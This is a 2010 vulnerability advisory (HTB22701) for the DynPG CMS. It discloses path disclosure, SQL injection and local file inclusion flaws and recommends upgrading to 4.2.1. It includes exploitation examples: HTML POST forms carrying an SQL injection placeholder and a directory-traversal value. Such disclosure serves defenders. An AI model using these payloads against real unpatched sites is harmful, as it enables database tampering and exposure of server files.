Total Tests:
Stay in Touch

Get exclusive updates and invitations to our events and webinars:


Your data will stay confidential Private and Confidential

Multiple Vulnerabilities in DynPG

Advisory ID:HTB22701
Product:DynPG
Vendor:dynpg.org
Vulnerable Versions:4.2.0 and probably prior
Tested Version:4.2.0
Advisory Publication:November 16, 2010 [without technical details]
Vendor Notification:November 16, 2010
Public Disclosure:November 30, 2010
Latest Update:November 17, 2010
Vulnerability Type:Information Exposure Through Externally-generated Error Message [CWE-211]
SQL Injection [CWE-89]
PHP File Inclusion [CWE-98]
CVE References:CVE-2010-4401
CVE-2010-4400
CVE-2010-4399
Risk Level:High
CVSSv2 Base Scores:5 (AV:N/AC:L/Au:N/C:P/I:N/A:N)
7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
7.6 (AV:N/AC:H/Au:N/C:C/I:C/A:C)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in DynPG which could be exploited to perform SQL injection attacks, disclose potentially sensitive information and compromise vulnerable system.

1) Installation path disclosure weakness in in DynPG: CVE-2010-4401
The weakness was found in the languages.inc.php script. A remote attacker can obtain knowledge of the application`s installation folder by directly accessing the vulnerable script.
Exploitation example:
http://[host]/languages.inc.php

2) SQL injection vulnerabilities in DynPG: CVE-2010-4400
The vulnerability exists due to input sanitation errors in the "giveRights_UserId" parameter in _rights.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database.
Exploitation example:
<form action="http://[host]/_rights.php" method="post" name="main" >
<input type="hidden" name="saveRights" value="1" />
<input type="hidden" name="giveRights_giveright" value="1" />
<input type="hidden" name="giveRights_UserId" value="123'SQL_CODE_HERE" />
<input type="submit" value="submit" name="submit" />
</form>


3) Local file inclusion vulnerability in DynPG: CVE-2010-4399
Input passed to the "CHG_DYNPG_SET_LANGUAGE" variable in index.php is not properly sanitized before being used to include local files. A remote attacker can include arbitrary files on the target system using directory traversal sequences.
Exploitation example:
<form action="http://[host]/index.php" method="post" name="main" >
<input type="hidden" name="SYSTEM_NAME" value="[admin_login]" />
<input type="hidden" name="SYSTEM_PASSWORD" value="[admin_password]" />
<input type="hidden" name="SET_LANGUAGE" value="1" />
<input type="hidden" name="CHG_DYNPG_SET_LANGUAGE" value="../../../../../" />
<input type="submit" value="submit" name="submit" />
</form>

How to Detect Information Exposure Through Externally-generated Error Message Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
Try For Free

Solution:
Upgrade to version 4.2.1.


References:
[1] High-Tech Bridge Advisory HTB22701 - https://www.immuniweb.com/advisory/HTB22701 - Multiple Vulnerabilities in DynPG
[2] DynPG - dynpg.ch - DynPG stands for dynamic web pages and is a free content management system (CMS). It is written in PHP and uses MySQL as database management system.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Book a Call Ask a Question
Close
Talk to ImmuniWeb Experts
ImmuniWeb AI Platform
Have a Technical Question?

Our security experts will answer within
one business day. No obligations.

Have a Sales Question?
Email:
Tel: +41 22 560 6800 (Switzerland)
Tel: +1 720 605 9147 (USA)
*
*
*
*
Your data will stay private and confidential